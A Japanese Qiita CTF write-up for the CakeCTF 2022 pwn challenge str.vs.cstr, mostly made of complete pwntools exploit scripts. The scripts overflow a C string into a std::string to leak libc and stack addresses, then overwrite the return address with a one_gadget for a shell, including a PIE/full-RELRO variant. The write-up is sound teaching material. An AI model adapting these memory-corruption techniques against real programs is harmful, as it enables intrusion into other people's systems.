0
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

1日1CTFAdvent Calendar 2024

Day 4

str.vs.cstr (CakeCTF 2022) HWs WriteUp

Last updated at Posted at 2024-12-03

はじめに

この記事は 1日1CTF Advent Calendar 2024 の 4 日目の記事です。

また、この記事は 前日の記事 の続きです。まだ読んでいない方は先にそちらをご覧ください。

問題

str.vs.cstr (問題出典: CakeCTF 2022)

Which do you like, C string or C++ string?

リポジトリ: https://github.com/theoremoon/cakectf2022-public/tree/master/pwn/str_vs_cstr

今回は、フラグに書かれていた 2 つの宿題を解く。

HW1: Remove "call_me" and solve it

宿題1: call_me 関数を削除して解く。

main.cpp.diff
9a10,13
<   __attribute__((used))
<   void call_me() {
<     std::system("/bin/sh");
<   }

まずいくつかの関数の GOT を leak して libc を特定する。

前回同様 str のデータへのポインタを GOT に書き換え、出力させれば OK 。ただし、今回は str の長さまで書き換える必要がある点に注意 (何もしないと長さ 0 の文字列扱いになり何も出力されない)。

from pwn import *
import sys

################################################
# context.log_level = "DEBUG"
FILENAME = "./chall"
LIBCNAME = ""
host = "localhost"
port = 9003
################################################

context(os="linux", arch="amd64")
binf = ELF(FILENAME)
libc = ELF(LIBCNAME) if LIBCNAME != "" else None

if len(sys.argv) > 1:
    if sys.argv[1][0] == "d":
        cmd = """
        set follow-fork-mode parent
        """
        io = gdb.debug(FILENAME, cmd)
    elif sys.argv[1][0] == "r":
        io = remote(host, port)
else:
    io = process(FILENAME)

io.recvuntil(b"choice: ")
io.sendline(b"1")
io.recvuntil(b"c_str: ")
io.sendline(b"A" * 0x20 + p64(0x404068) + p64(8))  # str のデータのポインタを setbuf の GOT に書き換える + str の長さを 8 に書き換える

io.recvuntil(b"choice: ")
io.sendline(b"4")
io.recvuntil(b"str: ")
setbuf = u64(io.recvline().rstrip().rjust(8, b"\x00"))  #  setbuf の GOT を読み込む
print(f"setbuf: {hex(setbuf)}")

io.recvuntil(b"choice: ")
io.sendline(b"1")
io.recvuntil(b"c_str: ")
io.sendline(b"A" * 0x20 + p64(0x404030) + p64(8))  # str のデータのポインタを __cxa_atexit の GOT に書き換える + str の長さを 8 に書き換える

io.recvuntil(b"choice: ")
io.sendline(b"4")
io.recvuntil(b"str: ")
__cxa_atexit = u64(io.recvline().rstrip().rjust(8, b"\x00"))  #  __cxa_atexit の GOT を読み込む
print(f"__cxa_atexit: {hex(__cxa_atexit)}")

io.recvuntil(b"choice: ")
io.sendline(b"1")
io.recvuntil(b"c_str: ")
io.sendline(b"A" * 0x20 + p64(0x403fe8) + p64(8))  # str のデータのポインタを __libc_start_main の GOT に書き換える + str の長さを 8 に書き換える

io.recvuntil(b"choice: ")
io.sendline(b"4")
io.recvuntil(b"str: ")
__libc_start_main = u64(io.recvline().rstrip().rjust(8, b"\x00"))  #  __libc_start_main の GOT を読み込む
print(f"__libc_start_main: {hex(__libc_start_main)}")

io.interactive()
setbuf: 0x7744e97fead0
__cxa_atexit: 0x7744e97b9de0
__libc_start_main: 0x7744e9796f90

libc を特定したら、libc の environ を読めば stack leak ができるので、リターンアドレスを書き換え one_gadget を呼び出して終わり。

from pwn import *
import sys

################################################
# context.log_level = "DEBUG"
FILENAME = "./chall"
LIBCNAME = "./libc.so.6"
host = "localhost"
port = 9003
################################################

context(os="linux", arch="amd64")
binf = ELF(FILENAME)
libc = ELF(LIBCNAME) if LIBCNAME != "" else None

if len(sys.argv) > 1:
    if sys.argv[1][0] == "d":
        cmd = """
        set follow-fork-mode parent
        """
        io = gdb.debug(FILENAME, cmd)
    elif sys.argv[1][0] == "r":
        io = remote(host, port)
else:
    io = process(FILENAME)

io.recvuntil(b"choice: ")
io.sendline(b"1")
io.recvuntil(b"c_str: ")
io.sendline(b"A" * 0x20 + p64(0x403FE8) + p64(8))  # str のデータのポインタを __libc_start_main の GOT に書き換える + str の長さを 8 に書き換える

io.recvuntil(b"choice: ")
io.sendline(b"4")
io.recvuntil(b"str: ")
__libc_start_main = u64(io.recvline().rstrip().rjust(8, b"\x00"))  #  __libc_start_main の GOT を読み込む

print(f"__libc_start_main: {hex(__libc_start_main)}")

environ = __libc_start_main + 0x1CB670
print(f"environ: {hex(environ)}")

io.recvuntil(b"choice: ")
io.sendline(b"1")
io.recvuntil(b"c_str: ")
io.sendline(b"A" * 0x20 + p64(environ) + p64(8))  # str のデータのポインタを environ に書き換える + str の長さを 8 に書き換える

io.recvuntil(b"choice: ")
io.sendline(b"4")
io.recvuntil(b"str: ")
stack_leak = u64(io.recvline().rstrip().rjust(8, b"\x00"))  #  environ を読み込む
print(f"stack_leak: {hex(stack_leak)}")

io.recvuntil(b"choice: ")
io.sendline(b"1")
io.recvuntil(b"c_str: ")
io.sendline(b"A" * 0x20 + p64(stack_leak - 0x100) + p64(8))  # str のデータのポインタを return address に書き換える + str の長さを 8 に書き換える

one_gadget = __libc_start_main + 0xBFB74

io.recvuntil(b"choice: ")
io.sendline(b"3")
io.recvuntil(b"str: ")
io.sendline(p64(one_gadget))  # return address に one_gadget のアドレス を書き込む

io.recvuntil(b"choice: ")
io.sendline(b"1")
io.recvuntil(b"c_str: ")
io.sendline(b"A" * 0x20 + p64(0))  # str のデータのポインタを null に

io.recvuntil(b"choice: ")
io.sendline(b"-1")  # return 0 させるためなので何でもいい

io.interactive()

HW2: Set PIE+RELRO and solve it

Makefile.diff
2c2
< 	g++ -Wl,-z,lazy,-z,relro main.cpp -o chall -no-pie
---
> 	g++ -Wl,-z,now,-z,relro main.cpp -o chall -pie

PIE 有効、FULL RELRO な環境で解いてみる。また、HW1 の縛りも続行。

ここで初心に帰って c_strAAAAAAAA を、 strBBBBBBBB を書き込んだときの stack の様子を見てみよう。

image.png

実は str のポインタは (str の長さが16以下の時) stack を指しているので、c_str に 0x20 文字(と文字列終端に入る null 文字) を入れればポインタをの下 1 byte を 0x00 に破壊できて、スタック上の違う場所を読み出せる。

rsp の位置に stack のアドレスが置いてあるので、破壊したポインタが指す場所いい感じのとき(これは $ \frac{1}{16} $ の確率) 、stack leak ができる。ただし、str に長さ 8 の文字列を入れた後にポインタを破壊しないと先ほど同様に長さ 0 の文字列扱いになり何も出力されないので注意。

ポインタがいい感じに破壊できたときの図
image.png

あとはそこから相対的に libc base を leak してからリターンアドレスを書き換えて one_gadget に飛ばしてあげればよい。

from pwn import *
import sys

################################################
# context.log_level = "DEBUG"
FILENAME = "./chall"
LIBCNAME = "./libc.so.6"
host = "localhost"
port = 9003
################################################

context(os="linux", arch="amd64")
binf = ELF(FILENAME)
libc = ELF(LIBCNAME) if LIBCNAME != "" else None

if len(sys.argv) > 1:
    if sys.argv[1][0] == "d":
        cmd = """
        set follow-fork-mode parent
        """
        io = gdb.debug(FILENAME, cmd)
    elif sys.argv[1][0] == "r":
        io = remote(host, port)
else:
    io = process(FILENAME)

io.recvuntil(b"choice: ")
io.sendline(b"3")
io.recvuntil(b"str: ")
io.sendline(b"B" * 0x8)  # str のデータの長さを 8 にしておく


io.recvuntil(b"choice: ")
io.sendline(b"1")
io.recvuntil(b"c_str: ")
io.sendline(b"A" * 0x20)  # str のデータのポインタを破壊

io.recvuntil(b"choice: ")
io.sendline(b"4")
io.recvuntil(b"str: ")
stack_leak = u64(io.recvline().rstrip().rjust(8, b"\x00"))  #  破壊したポインタの先のデータを読み込む
print(f"stack_leak: {hex(stack_leak)}")

assert stack_leak & 0xff == 0x20

io.recvuntil(b"choice: ")
io.sendline(b"1")
io.recvuntil(b"c_str: ")
io.sendline(b"A" * 0x20 + p64(stack_leak + 0x58) + p64(8))  # str のデータのポインタを return address に書き換える + str の長さを 8 に書き換える


io.recvuntil(b"choice: ")
io.sendline(b"4")
io.recvuntil(b"str: ")
libc_leak = u64(io.recvline().rstrip().rjust(8, b"\x00"))  #  return address を読み込む
print(f"libc_leak: {hex(libc_leak)}")

one_gadget = libc_leak + 0xbfa81

io.recvuntil(b"choice: ")
io.sendline(b"3")
io.recvuntil(b"str: ")
io.sendline(p64(one_gadget))  # return address に one_gadget のアドレスを書き込む

io.recvuntil(b"choice: ")
io.sendline(b"1")
io.recvuntil(b"c_str: ")
io.sendline(b"A" * 0x20 + p64(0))  # str のデータのポインタを null に

io.recvuntil(b"choice: ")
io.sendline(b"-1")  # return 0 させるためなので何でもいい

io.interactive()
0
0
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
0
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?